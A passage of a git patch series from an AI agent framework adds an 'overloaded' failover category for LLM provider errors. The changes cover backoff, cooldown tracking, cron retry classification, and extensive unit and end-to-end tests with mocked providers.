expect(result.buffer).toEqual(Buffer.from("image-data")); expect(capturedPath).toBeDefined(); expectPathIsolatedToTmpRoot(capturedPath as string, imageKey); @@ -509,6 +520,7 @@ describe("downloadMessageResourceFeishu", () => { params: { type: "file" }, }), ); + expectMediaTimeoutClientConfigured(); expect(result.buffer).toBeInstanceOf(Buffer); }); @@ -528,6 +540,7 @@ describe("downloadMessageResourceFeishu", () => { params: { type: "image" }, }), ); + expectMediaTimeoutClientConfigured(); expect(result.buffer).toBeInstanceOf(Buffer); }); }); From 6e962d8b9e55f19c33f23a5a6973bcb7b7556589 Mon Sep 17 00:00:00 2001 From: Altay Date: Sat, 7 Mar 2026 01:42:11 +0300 Subject: [PATCH 069/844] fix(agents): handle overloaded failover separately (#38301) * fix(agents): skip auth-profile failure on overload * fix(agents): note overload auth-profile fallback fix * fix(agents): classify overloaded failures separately * fix(agents): back off before overload failover * fix(agents): tighten overload probe and backoff state * fix(agents): persist overloaded cooldown across runs * fix(agents): tighten overloaded status handling * test(agents): add overload regression coverage * fix(agents): restore runner imports after rebase * test(agents): add overload fallback integration coverage * fix(agents): harden overloaded failover abort handling * test(agents): tighten overload classifier coverage * test(agents): cover all-overloaded fallback exhaustion * fix(cron): retry overloaded fallback summaries * fix(cron): treat HTTP 529 as overloaded retry --- CHANGELOG.md | 1 + docs/automation/cron-jobs.md | 5 +- ...th-profiles.markauthprofilefailure.test.ts | 16 + src/agents/auth-profiles/types.ts | 1 + src/agents/auth-profiles/usage.test.ts | 18 + src/agents/auth-profiles/usage.ts | 5 +- src/agents/failover-error.test.ts | 31 +- src/agents/failover-error.ts | 2 + src/agents/model-fallback.probe.test.ts | 48 +- .../model-fallback.run-embedded.e2e.test.ts | 517 ++++++++++++++++++ src/agents/model-fallback.test.ts | 44 +- src/agents/model-fallback.ts | 12 +- ...dded-helpers.isbillingerrormessage.test.ts | 20 +- src/agents/pi-embedded-helpers/errors.ts | 33 +- src/agents/pi-embedded-helpers/types.ts | 1 + ...pi-agent.auth-profile-rotation.e2e.test.ts | 150 ++++- src/agents/pi-embedded-runner/run.ts | 82 ++- src/agents/pi-embedded-runner/run/params.ts | 6 +- .../reply/agent-runner-execution.ts | 2 +- src/auto-reply/reply/agent-runner-memory.ts | 2 +- src/auto-reply/reply/agent-runner-utils.ts | 4 +- .../agent-runner.runreplyagent.e2e.test.ts | 5 + src/auto-reply/reply/followup-runner.ts | 2 +- src/commands/agent.ts | 6 +- src/commands/models/list.probe.test.ts | 1 + src/commands/models/list.probe.ts | 2 +- src/config/config-misc.test.ts | 2 +- src/config/schema.help.ts | 4 +- src/config/types.cron.ts | 2 +- src/config/zod-schema.ts | 2 +- src/cron/isolated-agent/run.ts | 2 +- src/cron/service.issue-regressions.test.ts | 67 ++- src/cron/service/timer.ts | 2 + src/discord/monitor/auto-presence.test.ts | 20 + src/discord/monitor/auto-presence.ts | 1 + src/test-utils/model-fallback.mock.ts | 2 +- 36 files changed, 1036 insertions(+), 84 deletions(-) create mode 100644 src/agents/model-fallback.run-embedded.e2e.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 60ec0602041..1840fd3cde2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -121,6 +121,7 @@ Docs: https://docs.openclaw.ai - Security/auth labels: remove token and API-key snippets from user-facing auth status labels so `/status` and `/models` do not expose credential fragments. (#33262) thanks @cu1ch3n. - Auth/credential semantics: align profile eligibility + probe diagnostics with SecretRef/expiry rules and harden browser download atomic writes. (#33733) thanks @joshavant. - Security/audit denyCommands guidance: suggest likely exact node command IDs for unknown `gateway.nodes.denyCommands` entries so ineffective denylist entries are easier to correct. (#29713) thanks @liquidhorizon88-bot. +- Agents/overload failover handling: classify overloaded provider failures separately from rate limits/status timeouts, add short overload backoff before retry/failover, record overloaded prompt/assistant failures as transient auth-profile cooldowns (with probeable same-provider fallback) instead of treating them like persistent auth/billing failures, and keep one-shot cron retry classification aligned so overloaded fallback summaries still count as transient retries. - Docs/security hardening guidance: document Docker `DOCKER-USER` + UFW policy and add cross-linking from Docker install docs for VPS/public-host setups. (#27613) thanks @dorukardahan. - Docs/security threat-model links: replace relative `.md` links with Mintlify-compatible root-relative routes in security docs to prevent broken internal navigation. (#27698) thanks @clawdoo. - Plugins/Update integrity drift: avoid false integrity drift prompts when updating npm-installed plugins from unpinned specs, while keeping drift checks for exact pinned versions. (#37179) Thanks @vincentkoc. diff --git a/docs/automation/cron-jobs.md b/docs/automation/cron-jobs.md index 1421480a7a0..b0798898910 100644 --- a/docs/automation/cron-jobs.md +++ b/docs/automation/cron-jobs.md @@ -370,6 +370,7 @@ When a job fails, OpenClaw classifies errors as **transient** (retryable) or **p ### Transient errors (retried) - Rate limit (429, too many requests, resource exhausted) +- Provider overload (for example Anthropic `529 overloaded_error`, overload fallback summaries) - Network errors (timeout, ECONNRESET, fetch failed, socket) - Server errors (5xx) - Cloudflare-related errors @@ -407,7 +408,7 @@ Configure `cron.retry` to override these defaults (see [Configuration](/automati retry: { maxAttempts: 3, backoffMs: [60000, 120000, 300000], - retryOn: ["rate_limit", "network", "server_error"], + retryOn: ["rate_limit", "overloaded", "network", "server_error"], }, webhook: "https://example.invalid/legacy", // deprecated fallback for stored notify:true jobs webhookToken: "replace-with-dedicated-webhook-token", // optional bearer token for webhook mode @@ -665,7 +666,7 @@ openclaw system event --mode now --text "Next heartbeat: check battery." - OpenClaw applies exponential retry backoff for recurring jobs after consecutive errors: 30s, 1m, 5m, 15m, then 60m between retries. - Backoff resets automatically after the next successful run. -- One-shot (`at`) jobs retry transient errors (rate limit, network, server_error) up to 3 times with backoff; permanent errors disable immediately. See [Retry policy](/automation/cron-jobs#retry-policy). +- One-shot (`at`) jobs retry transient errors (rate limit, overloaded, network, server_error) up to 3 times with backoff; permanent errors disable immediately. See [Retry policy](/automation/cron-jobs#retry-policy). ### Telegram delivers to the wrong place diff --git a/src/agents/auth-profiles.markauthprofilefailure.test.ts b/src/agents/auth-profiles.markauthprofilefailure.test.ts index 865fbf87816..e5690f75c6a 100644 --- a/src/agents/auth-profiles.markauthprofilefailure.test.ts +++ b/src/agents/auth-profiles.markauthprofilefailure.test.ts @@ -114,6 +114,22 @@ describe("markAuthProfileFailure", () => { expect(reloaded.usageStats?.["anthropic:default"]?.cooldownUntil).toBe(firstCooldownUntil); }); }); + it("records overloaded failures in the cooldown bucket", async () => { + await withAuthProfileStore(async ({ agentDir, store }) => { + await markAuthProfileFailure({ + store, + profileId: "anthropic:default", + reason: "overloaded", + agentDir, + }); + + const stats = store.usageStats?.["anthropic:default"]; + expect(typeof stats?.cooldownUntil).toBe("number"); + expect(stats?.disabledUntil).toBeUndefined(); + expect(stats?.disabledReason).toBeUndefined(); + expect(stats?.failureCounts?.overloaded).toBe(1); + }); + }); it("disables auth_permanent failures via disabledUntil (like billing)", async () => { await withAuthProfileStore(async ({ agentDir, store }) => { await markAuthProfileFailure({ diff --git a/src/agents/auth-profiles/types.ts b/src/agents/auth-profiles/types.ts index d01e7a07d68..127a444939b 100644 --- a/src/agents/auth-profiles/types.ts +++ b/src/agents/auth-profiles/types.ts @@ -39,6 +39,7 @@ export type AuthProfileFailureReason = | "auth" | "auth_permanent" | "format" + | "overloaded" | "rate_limit" | "billing" | "timeout" diff --git a/src/agents/auth-profiles/usage.test.ts b/src/agents/auth-profiles/usage.test.ts index 8c499654b49..ffd6ec2daa7 100644 --- a/src/agents/auth-profiles/usage.test.ts +++ b/src/agents/auth-profiles/usage.test.ts @@ -177,6 +177,24 @@ describe("resolveProfilesUnavailableReason", () => { ).toBe("auth"); }); + it("returns overloaded for active overloaded cooldown windows", () => { + const now = Date.now(); + const store = makeStore({ + "anthropic:default": { + cooldownUntil: now + 60_000, + failureCounts: { overloaded: 2, rate_limit: 1 }, + }, + }); + + expect( + resolveProfilesUnavailableReason({ + store, + profileIds: ["anthropic:default"], + now, + }), + ).toBe("overloaded"); + }); + it("falls back to rate_limit when active cooldown has no reason history", () => { const now = Date.now(); const store = makeStore({ diff --git a/src/agents/auth-profiles/usage.ts b/src/agents/auth-profiles/usage.ts index e78a36db28c..733a96e13c4 100644 --- a/src/agents/auth-profiles/usage.ts +++ b/src/agents/auth-profiles/usage.ts @@ -9,6 +9,7 @@ const FAILURE_REASON_PRIORITY: AuthProfileFailureReason[] = [ "billing", "format", "model_not_found", + "overloaded", "timeout", "rate_limit", "unknown", @@ -35,7 +36,7 @@ export function resolveProfileUnusableUntil( } /** - * Check if a profile is currently in cooldown (due to rate limiting or errors). + * Check if a profile is currently in cooldown (due to rate limits, overload, or other transient failures). */ export function isProfileInCooldown( store: AuthProfileStore, @@ -508,7 +509,7 @@ export async function markAuthProfileFailure(params: { } /** - * Mark a profile as failed/rate-limited. Applies exponential backoff cooldown. + * Mark a profile as transiently failed. Applies exponential backoff cooldown. * Cooldown times: 1min, 5min, 25min, max 1 hour. * Uses store lock to avoid overwriting concurrent usage updates. */ diff --git a/src/agents/failover-error.test.ts b/src/agents/failover-error.test.ts index 60e7510e67e..f581dd0ede2 100644 --- a/src/agents/failover-error.test.ts +++ b/src/agents/failover-error.test.ts @@ -75,7 +75,7 @@ describe("failover-error", () => { expect(resolveFailoverReasonFromError({ status: 522 })).toBeNull(); expect(resolveFailoverReasonFromError({ status: 523 })).toBeNull(); expect(resolveFailoverReasonFromError({ status: 524 })).toBeNull(); - expect(resolveFailoverReasonFromError({ status: 529 })).toBe("rate_limit"); + expect(resolveFailoverReasonFromError({ status: 529 })).toBe("overloaded"); }); it("classifies documented provider error shapes at the error boundary", () => { @@ -90,7 +90,7 @@ describe("failover-error", () => { status: 529, message: ANTHROPIC_OVERLOADED_PAYLOAD, }), - ).toBe("rate_limit"); + ).toBe("overloaded"); expect( resolveFailoverReasonFromError({ status: 429, @@ -126,7 +126,22 @@ describe("failover-error", () => { status: 503, message: GROQ_SERVICE_UNAVAILABLE_MESSAGE, }), + ).toBe("overloaded"); + }); + + it("keeps status-only 503s conservative unless the payload is clearly overloaded", () => { + expect( + resolveFailoverReasonFromError({ + status: 503, + message: "Internal database error", + }), ).toBe("timeout"); + expect( + resolveFailoverReasonFromError({ + status: 503, + message: '{"error":{"message":"The model is overloaded. Please try later"}}', + }), + ).toBe("overloaded"); }); it("treats 400 insufficient_quota payloads as billing instead of format", () => { @@ -151,6 +166,14 @@ describe("failover-error", () => { ).toBe("rate_limit"); }); + it("treats overloaded provider payloads as overloaded", () => { + expect( + resolveFailoverReasonFromError({ + message: ANTHROPIC_OVERLOADED_PAYLOAD, + }), + ).toBe("overloaded"); + }); + it("keeps raw-text 402 weekly/monthly limit errors in billing", () => { expect( resolveFailoverReasonFromError({ @@ -221,6 +244,10 @@ describe("failover-error", () => { expect(err?.model).toBe("claude-opus-4-5"); }); + it("maps overloaded to a 503 fallback status", () => { + expect(resolveFailoverStatus("overloaded")).toBe(503); + }); + it("coerces format errors with a 400 status", () => { const err = coerceToFailoverError("invalid request format", { provider: "google", diff --git a/src/agents/failover-error.ts b/src/agents/failover-error.ts index 5c16d3508fd..a39685e1b16 100644 --- a/src/agents/failover-error.ts +++ b/src/agents/failover-error.ts @@ -49,6 +49,8 @@ export function resolveFailoverStatus(reason: FailoverReason): number | undefine return 402; case "rate_limit": return 429; + case "overloaded": + return 503; case "auth": return 401; case "auth_permanent": diff --git a/src/agents/model-fallback.probe.test.ts b/src/agents/model-fallback.probe.test.ts index f220646cf3d..8dafd6533da 100644 --- a/src/agents/model-fallback.probe.test.ts +++ b/src/agents/model-fallback.probe.test.ts @@ -53,7 +53,7 @@ function expectPrimaryProbeSuccess( expect(result.result).toBe(expectedResult); expect(run).toHaveBeenCalledTimes(1); expect(run).toHaveBeenCalledWith("openai", "gpt-4.1-mini", { - allowRateLimitCooldownProbe: true, + allowTransientCooldownProbe: true, }); } @@ -200,10 +200,48 @@ describe("runWithModelFallback – probe logic", () => { expect(result.result).toBe("fallback-ok"); expect(run).toHaveBeenCalledTimes(2); expect(run).toHaveBeenNthCalledWith(1, "openai", "gpt-4.1-mini", { - allowRateLimitCooldownProbe: true, + allowTransientCooldownProbe: true, }); expect(run).toHaveBeenNthCalledWith(2, "anthropic", "claude-haiku-3-5", { - allowRateLimitCooldownProbe: true, + allowTransientCooldownProbe: true, + }); + }); + + it("attempts non-primary fallbacks during overloaded cooldown after primary probe failure", async () => { + const cfg = makeCfg({ + agents: { + defaults: { + model: { + primary: "openai/gpt-4.1-mini", + fallbacks: ["anthropic/claude-haiku-3-5", "google/gemini-2-flash"], + }, + }, + }, + } as Partial); + + mockedIsProfileInCooldown.mockReturnValue(true); + mockedGetSoonestCooldownExpiry.mockReturnValue(NOW + 30 * 1000); + mockedResolveProfilesUnavailableReason.mockReturnValue("overloaded"); + + const run = vi + .fn() + .mockRejectedValueOnce(Object.assign(new Error("service overloaded"), { status: 503 })) + .mockResolvedValue("fallback-ok"); + + const result = await runWithModelFallback({ + cfg, + provider: "openai", + model: "gpt-4.1-mini", + run, + }); + + expect(result.result).toBe("fallback-ok"); + expect(run).toHaveBeenCalledTimes(2); + expect(run).toHaveBeenNthCalledWith(1, "openai", "gpt-4.1-mini", { + allowTransientCooldownProbe: true, + }); + expect(run).toHaveBeenNthCalledWith(2, "anthropic", "claude-haiku-3-5", { + allowTransientCooldownProbe: true, }); }); @@ -326,10 +364,10 @@ describe("runWithModelFallback – probe logic", () => { }); expect(run).toHaveBeenNthCalledWith(1, "openai", "gpt-4.1-mini", { - allowRateLimitCooldownProbe: true, + allowTransientCooldownProbe: true, }); expect(run).toHaveBeenNthCalledWith(2, "openai", "gpt-4.1-mini", { - allowRateLimitCooldownProbe: true, + allowTransientCooldownProbe: true, }); }); }); diff --git a/src/agents/model-fallback.run-embedded.e2e.test.ts b/src/agents/model-fallback.run-embedded.e2e.test.ts new file mode 100644 index 00000000000..61afb89c6bb --- /dev/null +++ b/src/agents/model-fallback.run-embedded.e2e.test.ts @@ -0,0 +1,517 @@ +import fs from "node:fs/promises"; +import os from "node:os"; +import path from "node:path"; +import type { AssistantMessage } from "@mariozechner/pi-ai"; +import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; +import type { OpenClawConfig } from "../config/config.js"; +import type { AuthProfileFailureReason } from "./auth-profiles.js"; +import { runWithModelFallback } from "./model-fallback.js"; +import type { EmbeddedRunAttemptResult } from "./pi-embedded-runner/run/types.js"; + +const runEmbeddedAttemptMock = vi.fn<(params: unknown) => Promise>(); +const { computeBackoffMock, sleepWithAbortMock } = vi.hoisted(() => ({ + computeBackoffMock: vi.fn( + ( + _policy: { initialMs: number; maxMs: number; factor: number; jitter: number }, + _attempt: number, + ) => 321, + ), + sleepWithAbortMock: vi.fn(async (_ms: number, _abortSignal?: AbortSignal) => undefined), +})); + +vi.mock("./pi-embedded-runner/run/attempt.js", () => ({ + runEmbeddedAttempt: (params: unknown) => runEmbeddedAttemptMock(params), +})); + +vi.mock("../infra/backoff.js", () => ({ + computeBackoff: ( + policy: { initialMs: number; maxMs: number; factor: number; jitter: number }, + attempt: number, + ) => computeBackoffMock(policy, attempt), + sleepWithAbort: (ms: number, abortSignal?: AbortSignal) => sleepWithAbortMock(ms, abortSignal), +})); + +vi.mock("./models-config.js", async (importOriginal) => { + const mod = await importOriginal(); + return { + ...mod, + ensureOpenClawModelsJson: vi.fn(async () => ({ wrote: false })), + }; +}); + +let runEmbeddedPiAgent: typeof import("./pi-embedded-runner/run.js").runEmbeddedPiAgent; + +beforeAll(async () => { + ({ runEmbeddedPiAgent } = await import("./pi-embedded-runner/run.js")); +}); + +beforeEach(() => { + runEmbeddedAttemptMock.mockReset(); + computeBackoffMock.mockClear(); + sleepWithAbortMock.mockClear(); +}); + +const baseUsage = { + input: 0, + output: 0, + cacheRead: 0, + cacheWrite: 0, + totalTokens: 0, + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, +}; + +const OVERLOADED_ERROR_PAYLOAD = + '{"type":"error","error":{"type":"overloaded_error","message":"Overloaded"}}'; + +const buildAssistant = (overrides: Partial): AssistantMessage => ({ + role: "assistant", + content: [], + api: "openai-responses", + provider: "openai", + model: "mock-1", + usage: baseUsage, + stopReason: "stop", + timestamp: Date.now(), + ...overrides, +}); + +const makeAttempt = (overrides: Partial): EmbeddedRunAttemptResult => ({ + aborted: false, + timedOut: false, + timedOutDuringCompaction: false, + promptError: null, + sessionIdUsed: "session:test", + systemPromptReport: undefined, + messagesSnapshot: [], + assistantTexts: [], + toolMetas: [], + lastAssistant: undefined, + didSendViaMessagingTool: false, + messagingToolSentTexts: [], + messagingToolSentMediaUrls: [], + messagingToolSentTargets: [], + cloudCodeAssistFormatError: false, + ...overrides, +}); + +function makeConfig(): OpenClawConfig { + return { + agents: { + defaults: { + model: { + primary: "openai/mock-1", + fallbacks: ["groq/mock-2"], + }, + }, + }, + models: { + providers: { + openai: { + api: "openai-responses", + apiKey: "sk-openai", + baseUrl: "https://example.com/openai", + models: [ + { + id: "mock-1", + name: "Mock 1", + reasoning: false, + input: ["text"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 16_000, + maxTokens: 2048, + }, + ], + }, + groq: { + api: "openai-responses", + apiKey: "sk-groq", + baseUrl: "https://example.com/groq", + models: [ + { + id: "mock-2", + name: "Mock 2", + reasoning: false, + input: ["text"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 16_000, + maxTokens: 2048, + }, + ], + }, + }, + }, + } satisfies OpenClawConfig; +} + +async function withAgentWorkspace( + fn: (ctx: { agentDir: string; workspaceDir: string }) => Promise, +): Promise { + const root = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-model-fallback-")); + const agentDir = path.join(root, "agent"); + const workspaceDir = path.join(root, "workspace"); + await fs.mkdir(agentDir, { recursive: true }); + await fs.mkdir(workspaceDir, { recursive: true }); + try { + return await fn({ agentDir, workspaceDir }); + } finally { + await fs.rm(root, { recursive: true, force: true }); + } +} + +async function writeAuthStore( + agentDir: string, + usageStats?: Record< + string, + { + lastUsed?: number; + cooldownUntil?: number; + disabledUntil?: number; + disabledReason?: AuthProfileFailureReason; + failureCounts?: Partial>; + } + >, +) { + await fs.writeFile( + path.join(agentDir, "auth-profiles.json"), + JSON.stringify({ + version: 1, + profiles: { + "openai:p1": { type: "api_key", provider: "openai", key: "sk-openai" }, + "groq:p1": { type: "api_key", provider: "groq", key: "sk-groq" }, + }, + usageStats: + usageStats ?? + ({ + "openai:p1": { lastUsed: 1 }, + "groq:p1": { lastUsed: 2 }, + } as const), + }), + ); +} + +async function readUsageStats(agentDir: string) { + const raw = await fs.readFile(path.join(agentDir, "auth-profiles.json"), "utf-8"); + return JSON.parse(raw).usageStats as Record | undefined>; +} + +async function runEmbeddedFallback(params: { + agentDir: string; + workspaceDir: string; + sessionKey: string; + runId: string; + abortSignal?: AbortSignal; +}) { + const cfg = makeConfig(); + return await runWithModelFallback({ + cfg, + provider: "openai", + model: "mock-1", + agentDir: params.agentDir, + run: (provider, model, options) => + runEmbeddedPiAgent({ + sessionId: `session:${params.runId}`, + sessionKey: params.sessionKey, + sessionFile: path.join(params.workspaceDir, `${params.runId}.jsonl`), + workspaceDir: params.workspaceDir, + agentDir: params.agentDir, + config: cfg, + prompt: "hello", + provider, + model, + authProfileIdSource: "auto", + allowTransientCooldownProbe: options?.allowTransientCooldownProbe, + timeoutMs: 5_000, + runId: params.runId, + abortSignal: params.abortSignal, + }), + }); +} + +function mockPrimaryOverloadedThenFallbackSuccess() { + runEmbeddedAttemptMock.mockImplementation(async (params: unknown) => { + const attemptParams = params as { provider: string; modelId: string; authProfileId?: string }; + if (attemptParams.provider === "openai") { + return makeAttempt({ + assistantTexts: [], + lastAssistant: buildAssistant({ + provider: "openai", + model: "mock-1", + stopReason: "error", + errorMessage: OVERLOADED_ERROR_PAYLOAD, + }), + }); + } + if (attemptParams.provider === "groq") { + return makeAttempt({ + assistantTexts: ["fallback ok"], + lastAssistant: buildAssistant({ + provider: "groq", + model: "mock-2", + stopReason: "stop", + content: [{ type: "text", text: "fallback ok" }], + }), + }); + } + throw new Error(`Unexpected provider ${attemptParams.provider}`); + }); +} + +function mockAllProvidersOverloaded() { + runEmbeddedAttemptMock.mockImplementation(async (params: unknown) => { + const attemptParams = params as { provider: string; modelId: string; authProfileId?: string }; + if (attemptParams.provider === "openai" || attemptParams.provider === "groq") { + return makeAttempt({ + assistantTexts: [], + lastAssistant: buildAssistant({ + provider: attemptParams.provider, + model: attemptParams.provider === "openai" ? "mock-1" : "mock-2", + stopReason: "error", + errorMessage: OVERLOADED_ERROR_PAYLOAD, + }), + }); + } + throw new Error(`Unexpected provider ${attemptParams.provider}`); + }); +} + +describe("runWithModelFallback + runEmbeddedPiAgent overload policy", () => { + it("falls back across providers after overloaded primary failure and persists transient cooldown", async () => { + await withAgentWorkspace(async ({ agentDir, workspaceDir }) => { + await writeAuthStore(agentDir); + mockPrimaryOverloadedThenFallbackSuccess(); + + const result = await runEmbeddedFallback({ + agentDir, + workspaceDir, + sessionKey: "agent:test:overloaded-cross-provider", + runId: "run:overloaded-cross-provider", + }); + + expect(result.provider).toBe("groq"); + expect(result.model).toBe("mock-2"); + expect(result.attempts[0]?.reason).toBe("overloaded"); + expect(result.result.payloads?.[0]?.text ?? "").toContain("fallback ok"); + + const usageStats = await readUsageStats(agentDir); + expect(typeof usageStats["openai:p1"]?.cooldownUntil).toBe("number"); + expect(usageStats["openai:p1"]?.failureCounts).toMatchObject({ overloaded: 1 }); + expect(typeof usageStats["groq:p1"]?.lastUsed).toBe("number"); + + expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(2); + const firstCall = runEmbeddedAttemptMock.mock.calls[0]?.[0] as + | { provider?: string } + | undefined; + const secondCall = runEmbeddedAttemptMock.mock.calls[1]?.[0] as + | { provider?: string } + | undefined; + expect(firstCall).toBeDefined(); + expect(secondCall).toBeDefined(); + expect(firstCall?.provider).toBe("openai"); + expect(secondCall?.provider).toBe("groq"); + expect(computeBackoffMock).toHaveBeenCalledTimes(1); + expect(sleepWithAbortMock).toHaveBeenCalledTimes(1); + }); + }); + + it("surfaces a bounded overloaded summary when every fallback candidate is overloaded", async () => { + await withAgentWorkspace(async ({ agentDir, workspaceDir }) => { + await writeAuthStore(agentDir); + mockAllProvidersOverloaded(); + + let thrown: unknown; + try { + await runEmbeddedFallback({ + agentDir, + workspaceDir, + sessionKey: "agent:test:all-overloaded", + runId: "run:all-overloaded", + }); + } catch (err) { + thrown = err; + } + + expect(thrown).toBeInstanceOf(Error); + expect((thrown as Error).message).toMatch(/^All models failed \(2\): /); + expect((thrown as Error).message).toMatch( + /openai\/mock-1: .* \(overloaded\) \| groq\/mock-2: .* \(overloaded\)/, + ); + + const usageStats = await readUsageStats(agentDir); + expect(typeof usageStats["openai:p1"]?.cooldownUntil).toBe("number"); + expect(typeof usageStats["groq:p1"]?.cooldownUntil).toBe("number"); + expect(usageStats["openai:p1"]?.failureCounts).toMatchObject({ overloaded: 1 }); + expect(usageStats["groq:p1"]?.failureCounts).toMatchObject({ overloaded: 1 }); + expect(usageStats["openai:p1"]?.disabledUntil).toBeUndefined(); + expect(usageStats["groq:p1"]?.disabledUntil).toBeUndefined(); + + expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(2); + expect(computeBackoffMock).toHaveBeenCalledTimes(2); + expect(sleepWithAbortMock).toHaveBeenCalledTimes(2); + }); + }); + + it("probes a provider already in overloaded cooldown before falling back", async () => { + await withAgentWorkspace(async ({ agentDir, workspaceDir }) => { + const now = Date.now(); + await writeAuthStore(agentDir, { + "openai:p1": { + lastUsed: 1, + cooldownUntil: now + 60_000, + failureCounts: { overloaded: 2 }, + }, + "groq:p1": { lastUsed: 2 }, + }); + mockPrimaryOverloadedThenFallbackSuccess(); + + const result = await runEmbeddedFallback({ + agentDir, + workspaceDir, + sessionKey: "agent:test:overloaded-probe-fallback", + runId: "run:overloaded-probe-fallback", + }); + + expect(result.provider).toBe("groq"); + expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(2); + const firstCall = runEmbeddedAttemptMock.mock.calls[0]?.[0] as + | { provider?: string; authProfileId?: string } + | undefined; + const secondCall = runEmbeddedAttemptMock.mock.calls[1]?.[0] as + | { provider?: string } + | undefined; + expect(firstCall).toBeDefined(); + expect(secondCall).toBeDefined(); + expect(firstCall?.provider).toBe("openai"); + expect(firstCall?.authProfileId).toBe("openai:p1"); + expect(secondCall?.provider).toBe("groq"); + }); + }); + + it("persists overloaded cooldown across turns while still allowing one probe and fallback", async () => { + await withAgentWorkspace(async ({ agentDir, workspaceDir }) => { + await writeAuthStore(agentDir); + mockPrimaryOverloadedThenFallbackSuccess(); + + const firstResult = await runEmbeddedFallback({ + agentDir, + workspaceDir, + sessionKey: "agent:test:overloaded-two-turns:first", + runId: "run:overloaded-two-turns:first", + }); + + expect(firstResult.provider).toBe("groq"); + + runEmbeddedAttemptMock.mockClear(); + computeBackoffMock.mockClear(); + sleepWithAbortMock.mockClear(); + + mockPrimaryOverloadedThenFallbackSuccess(); + + const secondResult = await runEmbeddedFallback({ + agentDir, + workspaceDir, + sessionKey: "agent:test:overloaded-two-turns:second", + runId: "run:overloaded-two-turns:second", + }); + + expect(secondResult.provider).toBe("groq"); + expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(2); + + const firstCall = runEmbeddedAttemptMock.mock.calls[0]?.[0] as + | { provider?: string; authProfileId?: string } + | undefined; + const secondCall = runEmbeddedAttemptMock.mock.calls[1]?.[0] as + | { provider?: string } + | undefined; + expect(firstCall).toBeDefined(); + expect(secondCall).toBeDefined(); + expect(firstCall?.provider).toBe("openai"); + expect(firstCall?.authProfileId).toBe("openai:p1"); + expect(secondCall?.provider).toBe("groq"); + + const usageStats = await readUsageStats(agentDir); + expect(typeof usageStats["openai:p1"]?.cooldownUntil).toBe("number"); + expect(usageStats["openai:p1"]?.failureCounts).toMatchObject({ overloaded: 2 }); + expect(computeBackoffMock).toHaveBeenCalledTimes(1); + expect(sleepWithAbortMock).toHaveBeenCalledTimes(1); + }); + }); + + it("keeps bare service-unavailable failures in the timeout lane without persisting cooldown", async () => { + await withAgentWorkspace(async ({ agentDir, workspaceDir }) => { + await writeAuthStore(agentDir); + runEmbeddedAttemptMock.mockImplementation(async (params: unknown) => { + const attemptParams = params as { provider: string }; + if (attemptParams.provider === "openai") { + return makeAttempt({ + assistantTexts: [], + lastAssistant: buildAssistant({ + provider: "openai", + model: "mock-1", + stopReason: "error", + errorMessage: "LLM error: service unavailable", + }), + }); + } + if (attemptParams.provider === "groq") { + return makeAttempt({ + assistantTexts: ["fallback ok"], + lastAssistant: buildAssistant({ + provider: "groq", + model: "mock-2", + stopReason: "stop", + content: [{ type: "text", text: "fallback ok" }], + }), + }); + } + throw new Error(`Unexpected provider ${attemptParams.provider}`); + }); + + const result = await runEmbeddedFallback({ + agentDir, + workspaceDir, + sessionKey: "agent:test:timeout-cross-provider", + runId: "run:timeout-cross-provider", + }); + + expect(result.provider).toBe("groq"); + expect(result.attempts[0]?.reason).toBe("timeout"); + + const usageStats = await readUsageStats(agentDir); + expect(usageStats["openai:p1"]?.cooldownUntil).toBeUndefined(); + expect(usageStats["openai:p1"]?.failureCounts).toBeUndefined(); + expect(computeBackoffMock).not.toHaveBeenCalled(); + expect(sleepWithAbortMock).not.toHaveBeenCalled(); + }); + }); + + it("rethrows AbortError during overload backoff instead of falling through fallback", async () => { + await withAgentWorkspace(async ({ agentDir, workspaceDir }) => { + await writeAuthStore(agentDir); + const controller = new AbortController(); + mockPrimaryOverloadedThenFallbackSuccess(); + sleepWithAbortMock.mockImplementationOnce(async () => { + controller.abort(); + throw new Error("aborted"); + }); + + await expect( + runEmbeddedFallback({ + agentDir, + workspaceDir, + sessionKey: "agent:test:overloaded-backoff-abort", + runId: "run:overloaded-backoff-abort", + abortSignal: controller.signal, + }), + ).rejects.toMatchObject({ + name: "AbortError", + message: "Operation aborted", + }); + + expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(1); + const firstCall = runEmbeddedAttemptMock.mock.calls[0]?.[0] as + | { provider?: string } + | undefined; + expect(firstCall?.provider).toBe("openai"); + }); + }); +}); diff --git a/src/agents/model-fallback.test.ts b/src/agents/model-fallback.test.ts index 69a9ba01a29..6379d6e0222 100644 --- a/src/agents/model-fallback.test.ts +++ b/src/agents/model-fallback.test.ts @@ -1062,7 +1062,7 @@ describe("runWithModelFallback", () => { describe("fallback behavior with provider cooldowns", () => { async function makeAuthStoreWithCooldown( provider: string, - reason: "rate_limit" | "auth" | "billing", + reason: "rate_limit" | "overloaded" | "auth" | "billing", ): Promise<{ store: AuthProfileStore; dir: string }> { const tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-test-")); const now = Date.now(); @@ -1073,12 +1073,12 @@ describe("runWithModelFallback", () => { }, usageStats: { [`${provider}:default`]: - reason === "rate_limit" + reason === "rate_limit" || reason === "overloaded" ? { - // Real rate-limit cooldowns are tracked through cooldownUntil - // and failureCounts, not disabledReason. + // Transient cooldown reasons are tracked through + // cooldownUntil and failureCounts, not disabledReason. cooldownUntil: now + 300000, - failureCounts: { rate_limit: 1 }, + failureCounts: { [reason]: 1 }, } : { // Auth/billing issues use disabledUntil @@ -1117,7 +1117,37 @@ describe("runWithModelFallback", () => { expect(result.result).toBe("sonnet success"); expect(run).toHaveBeenCalledTimes(1); // Primary skipped, fallback attempted expect(run).toHaveBeenNthCalledWith(1, "anthropic", "claude-sonnet-4-5", { - allowRateLimitCooldownProbe: true, + allowTransientCooldownProbe: true, + }); + }); + + it("attempts same-provider fallbacks during overloaded cooldown", async () => { + const { dir } = await 